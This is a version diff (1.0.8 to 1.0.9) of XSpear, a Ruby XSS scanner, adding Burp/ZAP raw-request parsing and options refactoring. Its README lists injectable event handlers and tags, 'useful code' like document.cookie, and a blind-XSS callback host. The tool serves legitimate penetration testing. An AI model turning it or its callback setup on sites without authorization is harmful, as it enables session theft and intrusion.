XSpear 1.0.8 → 1.0.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.idea/workspace.xml +104 -61
- data/README.md +20 -6
- data/exe/XSpear +85 -13
- data/lib/XSpear/XSpearRepoter.rb +5 -0
- data/lib/XSpear/version.rb +1 -1
- data/lib/XSpear.rb +29 -24
- metadata +2 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 7af449d36fa665bdbba42ab63dd4ecbc9b666dbeb29751df167cf3c28662d6d7
|
|
4
|
+
data.tar.gz: fe079028ed5fe02664db09b5bcbfd15f2ea68661d2c6a146853872cbf8e978fd
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 73b1cc7d0727310e9515f3b2602f3ab1b004f15bf85e316d63bc3c58a36840a03fc1a8481ea327aa0165851a01b1b294d9709029f2525c45bcf4c3b4215d90f1
|
|
7
|
+
data.tar.gz: 3ab96ff93a503b4c94dd6f0427b963d1b3a81307aa4d7b8a2251a8e0693af848f49bda80174a21903e26e2ed700a7f45cb014cc09cea77d53de9a9f96e56be8b
|
data/.idea/workspace.xml
CHANGED
|
@@ -2,7 +2,8 @@
|
|
|
2
2
|
<project version="4">
|
|
3
3
|
<component name="ChangeListManager">
|
|
4
4
|
<list default="true" id="4ee2e581-45d7-4c90-b6a1-e92e4b5829dd" name="Default Changelist" comment="">
|
|
5
|
-
<change beforePath="$PROJECT_DIR
|
|
5
|
+
<change beforePath="$PROJECT_DIR$/README.md" beforeDir="false" afterPath="$PROJECT_DIR$/README.md" afterDir="false" />
|
|
6
|
+
<change beforePath="$PROJECT_DIR$/exe/XSpear" beforeDir="false" afterPath="$PROJECT_DIR$/exe/XSpear" afterDir="false" />
|
|
6
7
|
<change beforePath="$PROJECT_DIR$/lib/XSpear.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear.rb" afterDir="false" />
|
|
7
8
|
</list>
|
|
8
9
|
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
|
@@ -17,11 +18,20 @@
|
|
|
17
18
|
<component name="FileEditorManager">
|
|
18
19
|
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
|
19
20
|
<file pinned="false" current-in-tab="false">
|
|
21
|
+
<entry file="file://$PROJECT_DIR$/exe/XSpear">
|
|
22
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
23
|
+
<state relative-caret-position="458">
|
|
24
|
+
<caret line="38" column="77" selection-start-line="38" selection-start-column="77" selection-end-line="38" selection-end-column="77" />
|
|
25
|
+
</state>
|
|
26
|
+
</provider>
|
|
27
|
+
</entry>
|
|
28
|
+
</file>
|
|
29
|
+
<file pinned="false" current-in-tab="true">
|
|
20
30
|
<entry file="file://$PROJECT_DIR$/README.md">
|
|
21
31
|
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
22
32
|
<state split_layout="SPLIT">
|
|
23
|
-
<first_editor relative-caret-position="
|
|
24
|
-
<caret line="
|
|
33
|
+
<first_editor relative-caret-position="274">
|
|
34
|
+
<caret line="220" column="10" selection-start-line="220" selection-start-column="10" selection-end-line="220" selection-end-column="10" />
|
|
25
35
|
</first_editor>
|
|
26
36
|
<second_editor />
|
|
27
37
|
</state>
|
|
@@ -33,11 +43,11 @@
|
|
|
33
43
|
<provider selected="true" editor-type-id="text-editor" />
|
|
34
44
|
</entry>
|
|
35
45
|
</file>
|
|
36
|
-
<file pinned="false" current-in-tab="
|
|
46
|
+
<file pinned="false" current-in-tab="false">
|
|
37
47
|
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
38
48
|
<provider selected="true" editor-type-id="text-editor">
|
|
39
|
-
<state relative-caret-position="
|
|
40
|
-
<caret line="
|
|
49
|
+
<state relative-caret-position="-1602">
|
|
50
|
+
<caret line="421" column="235" selection-start-line="421" selection-start-column="235" selection-end-line="421" selection-end-column="235" />
|
|
41
51
|
</state>
|
|
42
52
|
</provider>
|
|
43
53
|
</entry>
|
|
@@ -45,17 +55,8 @@
|
|
|
45
55
|
<file pinned="false" current-in-tab="false">
|
|
46
56
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
47
57
|
<provider selected="true" editor-type-id="text-editor">
|
|
48
|
-
<state relative-caret-position="
|
|
49
|
-
<caret line="
|
|
50
|
-
</state>
|
|
51
|
-
</provider>
|
|
52
|
-
</entry>
|
|
53
|
-
</file>
|
|
54
|
-
<file pinned="false" current-in-tab="false">
|
|
55
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear/banner.rb">
|
|
56
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
57
|
-
<state relative-caret-position="180">
|
|
58
|
-
<caret line="12" column="69" selection-start-line="12" selection-start-column="69" selection-end-line="12" selection-end-column="69" />
|
|
58
|
+
<state relative-caret-position="1590">
|
|
59
|
+
<caret line="106" column="9" lean-forward="true" selection-start-line="106" selection-start-column="9" selection-end-line="106" selection-end-column="9" />
|
|
59
60
|
</state>
|
|
60
61
|
</provider>
|
|
61
62
|
</entry>
|
|
@@ -108,19 +109,19 @@
|
|
|
108
109
|
<option value="$PROJECT_DIR$/lib/XSpear/log.rb" />
|
|
109
110
|
<option value="$PROJECT_DIR$/XSpear.gemspec" />
|
|
110
111
|
<option value="$PROJECT_DIR$/lib/XSpear/banner.rb" />
|
|
111
|
-
<option value="$PROJECT_DIR$/exe/XSpear" />
|
|
112
|
-
<option value="$PROJECT_DIR$/README.md" />
|
|
113
112
|
<option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
|
|
114
113
|
<option value="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" />
|
|
115
114
|
<option value="$PROJECT_DIR$/lib/XSpear.rb" />
|
|
115
|
+
<option value="$PROJECT_DIR$/exe/XSpear" />
|
|
116
|
+
<option value="$PROJECT_DIR$/README.md" />
|
|
116
117
|
</list>
|
|
117
118
|
</option>
|
|
118
119
|
</component>
|
|
119
120
|
<component name="ProjectFrameBounds" fullScreen="true">
|
|
120
121
|
<option name="x" value="-1920" />
|
|
121
|
-
<option name="y" value="-
|
|
122
|
+
<option name="y" value="-643" />
|
|
122
123
|
<option name="width" value="1920" />
|
|
123
|
-
<option name="height" value="
|
|
124
|
+
<option name="height" value="1080" />
|
|
124
125
|
</component>
|
|
125
126
|
<component name="ProjectLevelVcsManager" settingsEditedManually="true">
|
|
126
127
|
<ConfirmationsSetting value="2" id="Add" />
|
|
@@ -227,7 +228,7 @@
|
|
|
227
228
|
<workItem from="1562942816004" duration="15337000" />
|
|
228
229
|
<workItem from="1563638656518" duration="4985000" />
|
|
229
230
|
<workItem from="1563809961097" duration="4237000" />
|
|
230
|
-
<workItem from="1563893538891" duration="
|
|
231
|
+
<workItem from="1563893538891" duration="11528000" />
|
|
231
232
|
</task>
|
|
232
233
|
<task id="LOCAL-00001" summary="init update">
|
|
233
234
|
<created>1562945899597</created>
|
|
@@ -502,17 +503,59 @@
|
|
|
502
503
|
<option name="project" value="LOCAL" />
|
|
503
504
|
<updated>1563897379180</updated>
|
|
504
505
|
</task>
|
|
505
|
-
<
|
|
506
|
+
<task id="LOCAL-00040" summary="(1.0.8) Add event handler & html5 XSS code, new pattern">
|
|
507
|
+
<created>1563990681736</created>
|
|
508
|
+
<option name="number" value="00040" />
|
|
509
|
+
<option name="presentableId" value="LOCAL-00040" />
|
|
510
|
+
<option name="project" value="LOCAL" />
|
|
511
|
+
<updated>1563990681736</updated>
|
|
512
|
+
</task>
|
|
513
|
+
<task id="LOCAL-00041" summary="(1.0.8) Releases 1.0.8">
|
|
514
|
+
<created>1563990736550</created>
|
|
515
|
+
<option name="number" value="00041" />
|
|
516
|
+
<option name="presentableId" value="LOCAL-00041" />
|
|
517
|
+
<option name="project" value="LOCAL" />
|
|
518
|
+
<updated>1563990736550</updated>
|
|
519
|
+
</task>
|
|
520
|
+
<task id="LOCAL-00042" summary="(1.0.9)[Fixed #11] Add check 'useful code'">
|
|
521
|
+
<created>1564062644030</created>
|
|
522
|
+
<option name="number" value="00042" />
|
|
523
|
+
<option name="presentableId" value="LOCAL-00042" />
|
|
524
|
+
<option name="project" value="LOCAL" />
|
|
525
|
+
<updated>1564062644030</updated>
|
|
526
|
+
</task>
|
|
527
|
+
<task id="LOCAL-00043" summary="(1.0.9)[Fixed #12] Modify XSpear Struct(option.* => options [hash])">
|
|
528
|
+
<created>1564062846754</created>
|
|
529
|
+
<option name="number" value="00043" />
|
|
530
|
+
<option name="presentableId" value="LOCAL-00043" />
|
|
531
|
+
<option name="project" value="LOCAL" />
|
|
532
|
+
<updated>1564062846754</updated>
|
|
533
|
+
</task>
|
|
534
|
+
<task id="LOCAL-00044" summary="(1.0.9)[Fixed #10] Add raw file read options">
|
|
535
|
+
<created>1564065374518</created>
|
|
536
|
+
<option name="number" value="00044" />
|
|
537
|
+
<option name="presentableId" value="LOCAL-00044" />
|
|
538
|
+
<option name="project" value="LOCAL" />
|
|
539
|
+
<updated>1564065374518</updated>
|
|
540
|
+
</task>
|
|
541
|
+
<task id="LOCAL-00045" summary="(1.0.9)[Fixed #13] Remove add pattern from StandardError in 'makeQueryPattern'">
|
|
542
|
+
<created>1564065895283</created>
|
|
543
|
+
<option name="number" value="00045" />
|
|
544
|
+
<option name="presentableId" value="LOCAL-00045" />
|
|
545
|
+
<option name="project" value="LOCAL" />
|
|
546
|
+
<updated>1564065895283</updated>
|
|
547
|
+
</task>
|
|
548
|
+
<option name="localTasksCounter" value="46" />
|
|
506
549
|
<servers />
|
|
507
550
|
</component>
|
|
508
551
|
<component name="TimeTrackingManager">
|
|
509
|
-
<option name="totallyTimeSpent" value="
|
|
552
|
+
<option name="totallyTimeSpent" value="36087000" />
|
|
510
553
|
</component>
|
|
511
554
|
<component name="ToolWindowManager">
|
|
512
555
|
<frame x="-1920" y="-643" width="1920" height="1080" extended-state="0" />
|
|
513
556
|
<editor active="true" />
|
|
514
557
|
<layout>
|
|
515
|
-
<window_info content_ui="combo" id="Project" order="0" visible="true" weight="0.16400427" />
|
|
558
|
+
<window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.16400427" />
|
|
516
559
|
<window_info id="Structure" order="1" side_tool="true" weight="0.25" />
|
|
517
560
|
<window_info id="Favorites" order="2" side_tool="true" />
|
|
518
561
|
<window_info anchor="bottom" id="Message" order="0" />
|
|
@@ -525,7 +568,7 @@
|
|
|
525
568
|
<window_info anchor="bottom" id="Docker" order="7" show_stripe_button="false" />
|
|
526
569
|
<window_info anchor="bottom" id="Database Changes" order="8" />
|
|
527
570
|
<window_info anchor="bottom" id="Version Control" order="9" />
|
|
528
|
-
<window_info
|
|
571
|
+
<window_info anchor="bottom" id="Terminal" order="10" visible="true" weight="0.34158415" />
|
|
529
572
|
<window_info anchor="bottom" id="Event Log" order="11" side_tool="true" />
|
|
530
573
|
<window_info anchor="bottom" id="Messages" order="12" weight="0.32953367" />
|
|
531
574
|
<window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
|
|
@@ -538,12 +581,6 @@
|
|
|
538
581
|
<option name="version" value="1" />
|
|
539
582
|
</component>
|
|
540
583
|
<component name="VcsManagerConfiguration">
|
|
541
|
-
<MESSAGE value="Add json report and new build binary, edit readme" />
|
|
542
|
-
<MESSAGE value="Add screenshot images" />
|
|
543
|
-
<MESSAGE value="Add dependency gems descriptions" />
|
|
544
|
-
<MESSAGE value="Add cli banner" />
|
|
545
|
-
<MESSAGE value="Edit Selenium code & README, Change version" />
|
|
546
|
-
<MESSAGE value="1.0.0 Final commit" />
|
|
547
584
|
<MESSAGE value="Edit readme" />
|
|
548
585
|
<MESSAGE value="modify dependency rspec" />
|
|
549
586
|
<MESSAGE value="Change Badge(version)" />
|
|
@@ -563,7 +600,13 @@
|
|
|
563
600
|
<MESSAGE value="(1.0.6) Releases 1.0.6 version" />
|
|
564
601
|
<MESSAGE value="(1.0.6) Edit README.md" />
|
|
565
602
|
<MESSAGE value="(1.0.7) Releases 1.0.7 (Modify Format, etc..)" />
|
|
566
|
-
<
|
|
603
|
+
<MESSAGE value="(1.0.8) Add event handler & html5 XSS code, new pattern" />
|
|
604
|
+
<MESSAGE value="(1.0.8) Releases 1.0.8" />
|
|
605
|
+
<MESSAGE value="(1.0.9)[Fixed #11] Add check 'useful code'" />
|
|
606
|
+
<MESSAGE value="(1.0.9)[Fixed #12] Modify XSpear Struct(option.* => options [hash])" />
|
|
607
|
+
<MESSAGE value="(1.0.9)[Fixed #10] Add raw file read options" />
|
|
608
|
+
<MESSAGE value="(1.0.9)[Fixed #13] Remove add pattern from StandardError in 'makeQueryPattern'" />
|
|
609
|
+
<option name="LAST_COMMIT_MESSAGE" value="(1.0.9)[Fixed #13] Remove add pattern from StandardError in 'makeQueryPattern'" />
|
|
567
610
|
</component>
|
|
568
611
|
<component name="editorHistoryManager">
|
|
569
612
|
<entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/bundler-2.0.1/lib/bundler/rubygems_integration.rb">
|
|
@@ -579,13 +622,6 @@
|
|
|
579
622
|
<entry file="file://$PROJECT_DIR$/bin/setup">
|
|
580
623
|
<provider selected="true" editor-type-id="text-editor" />
|
|
581
624
|
</entry>
|
|
582
|
-
<entry file="file://$PROJECT_DIR$/exe/XSpear">
|
|
583
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
584
|
-
<state relative-caret-position="525">
|
|
585
|
-
<caret line="35" column="117" selection-start-line="35" selection-start-column="117" selection-end-line="35" selection-end-column="117" />
|
|
586
|
-
</state>
|
|
587
|
-
</provider>
|
|
588
|
-
</entry>
|
|
589
625
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/banner.rb">
|
|
590
626
|
<provider selected="true" editor-type-id="text-editor">
|
|
591
627
|
<state relative-caret-position="180">
|
|
@@ -593,13 +629,6 @@
|
|
|
593
629
|
</state>
|
|
594
630
|
</provider>
|
|
595
631
|
</entry>
|
|
596
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
|
|
597
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
598
|
-
<state relative-caret-position="195">
|
|
599
|
-
<caret line="13" column="19" selection-start-line="13" selection-start-column="19" selection-end-line="13" selection-end-column="19" />
|
|
600
|
-
</state>
|
|
601
|
-
</provider>
|
|
602
|
-
</entry>
|
|
603
632
|
<entry file="file://$PROJECT_DIR$/XSpear.gemspec">
|
|
604
633
|
<provider selected="true" editor-type-id="text-editor">
|
|
605
634
|
<state relative-caret-position="105">
|
|
@@ -616,16 +645,6 @@
|
|
|
616
645
|
<entry file="file://$PROJECT_DIR$/spec/XSpear_spec.rb">
|
|
617
646
|
<provider selected="true" editor-type-id="text-editor" />
|
|
618
647
|
</entry>
|
|
619
|
-
<entry file="file://$PROJECT_DIR$/README.md">
|
|
620
|
-
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
621
|
-
<state split_layout="SPLIT">
|
|
622
|
-
<first_editor relative-caret-position="2113">
|
|
623
|
-
<caret line="299" column="110" selection-start-line="299" selection-start-column="110" selection-end-line="299" selection-end-column="110" />
|
|
624
|
-
</first_editor>
|
|
625
|
-
<second_editor />
|
|
626
|
-
</state>
|
|
627
|
-
</provider>
|
|
628
|
-
</entry>
|
|
629
648
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
630
649
|
<provider selected="true" editor-type-id="text-editor">
|
|
631
650
|
<state relative-caret-position="15">
|
|
@@ -633,17 +652,41 @@
|
|
|
633
652
|
</state>
|
|
634
653
|
</provider>
|
|
635
654
|
</entry>
|
|
655
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
|
|
656
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
657
|
+
<state relative-caret-position="195">
|
|
658
|
+
<caret line="13" column="19" selection-start-line="13" selection-start-column="19" selection-end-line="13" selection-end-column="19" />
|
|
659
|
+
</state>
|
|
660
|
+
</provider>
|
|
661
|
+
</entry>
|
|
636
662
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
637
663
|
<provider selected="true" editor-type-id="text-editor">
|
|
638
|
-
<state relative-caret-position="
|
|
639
|
-
<caret line="
|
|
664
|
+
<state relative-caret-position="1590">
|
|
665
|
+
<caret line="106" column="9" lean-forward="true" selection-start-line="106" selection-start-column="9" selection-end-line="106" selection-end-column="9" />
|
|
666
|
+
</state>
|
|
667
|
+
</provider>
|
|
668
|
+
</entry>
|
|
669
|
+
<entry file="file://$PROJECT_DIR$/exe/XSpear">
|
|
670
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
671
|
+
<state relative-caret-position="458">
|
|
672
|
+
<caret line="38" column="77" selection-start-line="38" selection-start-column="77" selection-end-line="38" selection-end-column="77" />
|
|
640
673
|
</state>
|
|
641
674
|
</provider>
|
|
642
675
|
</entry>
|
|
643
676
|
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
644
677
|
<provider selected="true" editor-type-id="text-editor">
|
|
645
|
-
<state relative-caret-position="
|
|
646
|
-
<caret line="
|
|
678
|
+
<state relative-caret-position="-1602">
|
|
679
|
+
<caret line="421" column="235" selection-start-line="421" selection-start-column="235" selection-end-line="421" selection-end-column="235" />
|
|
680
|
+
</state>
|
|
681
|
+
</provider>
|
|
682
|
+
</entry>
|
|
683
|
+
<entry file="file://$PROJECT_DIR$/README.md">
|
|
684
|
+
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
685
|
+
<state split_layout="SPLIT">
|
|
686
|
+
<first_editor relative-caret-position="274">
|
|
687
|
+
<caret line="220" column="10" selection-start-line="220" selection-start-column="10" selection-end-line="220" selection-end-column="10" />
|
|
688
|
+
</first_editor>
|
|
689
|
+
<second_editor />
|
|
647
690
|
</state>
|
|
648
691
|
</provider>
|
|
649
692
|
</entry>
|
data/README.md
CHANGED
|
@@ -14,6 +14,7 @@ XSpear is XSS Scanner on ruby gems
|
|
|
14
14
|
+ Find SQL Error pattern
|
|
15
15
|
+ Analysis Security headers(`CSP` `HSTS` `X-frame-options`, `XSS-protection` etc.. )
|
|
16
16
|
+ Analysis Other headers..(Server version, Content-Type, etc...)
|
|
17
|
+
- Scanning from Raw file(Burp suite, ZAP Request)
|
|
17
18
|
- XSpear running on ruby code(with Gem library)
|
|
18
19
|
- Show `table base cli-report` and `filtered rule`, `testing raw query`(url)
|
|
19
20
|
- Testing at selected parameters
|
|
@@ -64,6 +65,7 @@ $ ruby a.rb -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
|
|
|
64
65
|
-d, --data=POST Body [optional] POST Method Body data
|
|
65
66
|
--headers=HEADERS [optional] Add HTTP Headers
|
|
66
67
|
--cookie=COOKIE [optional] Add Cookie
|
|
68
|
+
--raw=FILENAME [optional] Load raw file(e.g raw_sample.txt)
|
|
67
69
|
-p, --param=PARAM [optional] Test paramters
|
|
68
70
|
-b, --BLIND=URL [optional] Add vector of Blind XSS
|
|
69
71
|
+ with XSS Hunter, ezXSS, HBXSS, etc...
|
|
@@ -78,6 +80,7 @@ $ ruby a.rb -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
|
|
|
78
80
|
-h, --help Prints this help
|
|
79
81
|
--version Show XSpear version
|
|
80
82
|
--update Update with online
|
|
83
|
+
|
|
81
84
|
```
|
|
82
85
|
### Result types
|
|
83
86
|
- (I)NFO: Get information ( e.g sql error , filterd rule, reflected params, etc..)
|
|
@@ -180,9 +183,10 @@ __((_)(_)) /(/( /((_))(_))(()\
|
|
|
180
183
|
+----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+
|
|
181
184
|
< Available Objects >
|
|
182
185
|
[cat] param
|
|
183
|
-
+ Available Special Char: ' \ `
|
|
184
|
-
+ Available Event Handler: "onActivate","
|
|
185
|
-
+ Available HTML Tag: "
|
|
186
|
+
+ Available Special Char: ' \ ` ) [ } : . { ] $
|
|
187
|
+
+ Available Event Handler: "onActivate","onBeforeActivate","onAfterUpdate","onAbort","onAfterPrint","onBeforeCopy","onBeforeCut","onBeforePaste","onBlur","onBeforePrint","onBeforeDeactivate","onBeforeUpdate","onBeforeEditFocus","onBegin","onBeforeUnload","onBounce","onDataSetChanged","onCellChange","onClick","onDataAvailable","onChange","onContextMenu","onCopy","onControlSelect","onDataSetComplete","onCut","onDragStart","onDragEnter","onDragOver","onDblClick","onDragEnd","onDrop","onDeactivate","onDragLeave","onDrag","onDragDrop","onHashChange","onFocusOut","onFilterChange","onEnd","onFocus","onHelp","onErrorUpdate","onFocusIn","onFinish","onError","onLayoutComplete","onKeyDown","onKeyUp","onMediaError","onLoad","onMediaComplete","onInput","onKeyPress","onloadstart","onLoseCapture","onMouseOut","onMouseDown","onMouseWheel","onMove","onMouseLeave","onMessage","onMouseEnter","onMouseMove","onMouseOver","onMouseUp","onPropertyChange","onMoveStart","onProgress","onPopState","onPaste","onOnline","onMoveEnd","onPause","onOutOfSync","onOffline","onReverse","onResize","onRedo","onRowsEnter","onRepeat","onReset","onResizeEnd","onResizeStart","onReadyStateChange","onResume","onRowInserted","onStart","onScroll","onRowExit","onSelectionChange","onSeek","onStop","onRowDelete","onSelectStart","onSelect","ontouchstart","ontouchend","onTrackChange","onSyncRestored","onTimeError","onUndo","onURLFlip","onStorage","onUnload","onSubmit","ontouchmove"
|
|
188
|
+
+ Available HTML Tag: "meta","video","iframe","embed","script","audio","svg","object","img","frameset","applet","style","frame"
|
|
189
|
+
+ Available Useful Code: "document.cookie","document.location","window.location"
|
|
186
190
|
< Raw Query >
|
|
187
191
|
[0] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zXsPeaR%22
|
|
188
192
|
[1] http://testphp.vulnweb.com/listproducts.php?cat=z?-
|
|
@@ -208,9 +212,19 @@ $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"
|
|
|
208
212
|
```ruby
|
|
209
213
|
require 'XSPear'
|
|
210
214
|
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
215
|
+
# Set options
|
|
216
|
+
options = {}
|
|
217
|
+
options['thread'] = 30
|
|
218
|
+
options['cookie'] = "data=123"
|
|
219
|
+
options['blind'] = "https://hahwul.xss.ht"
|
|
220
|
+
options['output'] = json
|
|
221
|
+
|
|
222
|
+
# Create XSpear object with url, options
|
|
223
|
+
s = XspearScan.new "https://www.hahwul.com?target_url", options
|
|
224
|
+
|
|
225
|
+
# Scanning
|
|
226
|
+
result = s.run
|
|
227
|
+
r = JSON.parse result
|
|
214
228
|
```
|
|
215
229
|
|
|
216
230
|
## Add Scanning Module
|
data/exe/XSpear
CHANGED
|
@@ -1,10 +1,12 @@
|
|
|
1
1
|
#!/usr/bin/env ruby
|
|
2
2
|
|
|
3
|
+
|
|
3
4
|
require "XSpear"
|
|
4
|
-
Options = Struct.new(:url, :data, :headers, :params, :
|
|
5
|
+
Options = Struct.new(:url, :data, :headers, :params, :options )
|
|
5
6
|
class Parser
|
|
6
7
|
def self.parse(options)
|
|
7
8
|
args = Options.new('xspear')
|
|
9
|
+
args.options = {}
|
|
8
10
|
if options.empty?
|
|
9
11
|
banner
|
|
10
12
|
puts 'please ' + "'-h'".yellow + ' option'
|
|
@@ -13,46 +15,61 @@ class Parser
|
|
|
13
15
|
opt_parser = OptionParser.new do |opts|
|
|
14
16
|
opts.banner = "Usage: xspear -u [target] -[options] [value]\n[ e.g ]\n$ ruby a.rb -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'\n\n[ Options ]"
|
|
15
17
|
|
|
18
|
+
|
|
16
19
|
opts.on('-u', '--url=target_URL', '[required] Target Url') do |n|
|
|
17
20
|
args.url = n
|
|
18
21
|
end
|
|
19
22
|
|
|
23
|
+
|
|
20
24
|
opts.on('-d', '--data=POST Body', '[optional] POST Method Body data') do |n|
|
|
21
|
-
args.data = n
|
|
25
|
+
args.options['data'] = n
|
|
22
26
|
end
|
|
23
27
|
|
|
28
|
+
|
|
24
29
|
opts.on('--headers=HEADERS', '[optional] Add HTTP Headers') do |n|
|
|
25
|
-
args.headers = n
|
|
30
|
+
args.options['headers'] = n
|
|
26
31
|
end
|
|
27
32
|
|
|
33
|
+
|
|
28
34
|
opts.on('--cookie=COOKIE', '[optional] Add Cookie') do |n|
|
|
29
|
-
args.
|
|
35
|
+
args.options['cookie'] = 'Cookie: ' + n
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
opts.on('--raw=FILENAME', '[optional] Load raw file(e.g raw_sample.txt)') do |n|
|
|
40
|
+
args.options['raw'] = n
|
|
30
41
|
end
|
|
31
42
|
|
|
43
|
+
|
|
32
44
|
opts.on('-p', '--param=PARAM', '[optional] Test paramters') do |n|
|
|
33
|
-
args.params = n
|
|
45
|
+
args.options['params'] = n
|
|
34
46
|
end
|
|
35
47
|
|
|
48
|
+
|
|
36
49
|
opts.on('-b', '--BLIND=URL', '[optional] Add vector of Blind XSS',' + with XSS Hunter, ezXSS, HBXSS, etc...',' + e.g : -b https://hahwul.xss.ht') do |n|
|
|
37
|
-
args.blind = n
|
|
50
|
+
args.options['blind'] = n
|
|
38
51
|
end
|
|
39
52
|
|
|
53
|
+
|
|
40
54
|
opts.on('-t', '--threads=NUMBER', '[optional] thread , default: 10') do |n|
|
|
41
|
-
args.thread = n
|
|
55
|
+
args.options['thread'] = n
|
|
42
56
|
end
|
|
43
57
|
|
|
58
|
+
|
|
44
59
|
opts.on('-o', '--output=FILENAME', '[optional] Save JSON Result') do |n|
|
|
45
|
-
args.output = n
|
|
60
|
+
args.options['output'] = n
|
|
46
61
|
end
|
|
47
62
|
|
|
63
|
+
|
|
48
64
|
opts.on('-v', '--verbose=1~3', '[optional] Show log depth',
|
|
49
65
|
' + Default value: 2',
|
|
50
66
|
' + v=1 : quite mode',
|
|
51
67
|
' + v=2 : show scanning log',
|
|
52
68
|
' + v=3 : show detail log(req/res)') do |n|
|
|
53
|
-
args.verbose = n
|
|
69
|
+
args.options['verbose'] = n
|
|
54
70
|
end
|
|
55
71
|
|
|
72
|
+
|
|
56
73
|
opts.on('-h', '--help', 'Prints this help') do
|
|
57
74
|
banner
|
|
58
75
|
puts opts
|
|
@@ -75,12 +92,67 @@ class Parser
|
|
|
75
92
|
end
|
|
76
93
|
options = Parser.parse ARGV
|
|
77
94
|
|
|
95
|
+
if !options.options['raw'].nil?
|
|
96
|
+
begin
|
|
97
|
+
method = ""
|
|
98
|
+
path = ""
|
|
99
|
+
headers_hash = {}
|
|
100
|
+
headers = ""
|
|
101
|
+
data = ""
|
|
102
|
+
switch = true
|
|
103
|
+
file = File.open options.options['raw']
|
|
104
|
+
r = file.read
|
|
105
|
+
file.close
|
|
106
|
+
r.each_line do |line|
|
|
107
|
+
if switch
|
|
108
|
+
temp = line.split(" ")
|
|
109
|
+
method = temp[0]
|
|
110
|
+
path = temp[1]
|
|
111
|
+
switch = false
|
|
112
|
+
else
|
|
113
|
+
if line.include? ": "
|
|
114
|
+
temp = line.split(": ")
|
|
115
|
+
hn = temp[0]
|
|
116
|
+
hd = line.sub(hn+": ", "")
|
|
117
|
+
headers_hash[hn] = hd
|
|
118
|
+
headers = headers + "#{hn}: #{hd}\n"
|
|
119
|
+
elsif line.size > 2
|
|
120
|
+
# data
|
|
121
|
+
data = line
|
|
122
|
+
else
|
|
123
|
+
# blank
|
|
124
|
+
end
|
|
125
|
+
end
|
|
126
|
+
end
|
|
127
|
+
|
|
128
|
+
# Burp or ZAP
|
|
129
|
+
# http, https로 시작하면 zap 아니면 burp 포맷
|
|
130
|
+
url = ""
|
|
131
|
+
if (path.index('http://') == 0 || path.index('https://') == 0)
|
|
132
|
+
url = path
|
|
133
|
+
else
|
|
134
|
+
url = "http://"+headers_hash['Host'].to_s.chomp!+"/"+path
|
|
135
|
+
end
|
|
136
|
+
options.url = url
|
|
137
|
+
if headers.length > 0
|
|
138
|
+
options.options['headers'] = headers
|
|
139
|
+
end
|
|
140
|
+
if method == "POST" && data.size
|
|
141
|
+
options.options['data'] = data
|
|
142
|
+
end
|
|
143
|
+
rescue => e
|
|
144
|
+
puts "RAW file Error #{e}"
|
|
145
|
+
exit
|
|
146
|
+
end
|
|
147
|
+
end
|
|
148
|
+
|
|
78
149
|
exit unless options.url
|
|
79
|
-
options.thread = 10 unless options.thread
|
|
80
|
-
options.verbose = 2 unless options.verbose
|
|
150
|
+
options.options['thread'] = 10 unless options.options['thread']
|
|
151
|
+
options.options['verbose'] = 2 unless options.options['verbose']
|
|
152
|
+
options.options['thread'] = options.options['thread'].to_i
|
|
81
153
|
|
|
82
|
-
if options.verbose.to_i != 1
|
|
154
|
+
if options.options['verbose'].to_i != 1
|
|
83
155
|
banner
|
|
84
156
|
end
|
|
85
|
-
s = XspearScan.new options.url, options.
|
|
157
|
+
s = XspearScan.new options.url, options.options
|
|
86
158
|
s.run
|
data/lib/XSpear/XSpearRepoter.rb
CHANGED
|
@@ -87,6 +87,7 @@ class XspearRepoter
|
|
|
87
87
|
eh = []
|
|
88
88
|
tag = []
|
|
89
89
|
sc = []
|
|
90
|
+
uc = []
|
|
90
91
|
puts "[#{key}]".blue+" param"
|
|
91
92
|
value.each do |n|
|
|
92
93
|
if n.include? "=64"
|
|
@@ -96,6 +97,9 @@ class XspearRepoter
|
|
|
96
97
|
# tag
|
|
97
98
|
n = n.sub("xsp<","")
|
|
98
99
|
tag.push n.chomp(">")
|
|
100
|
+
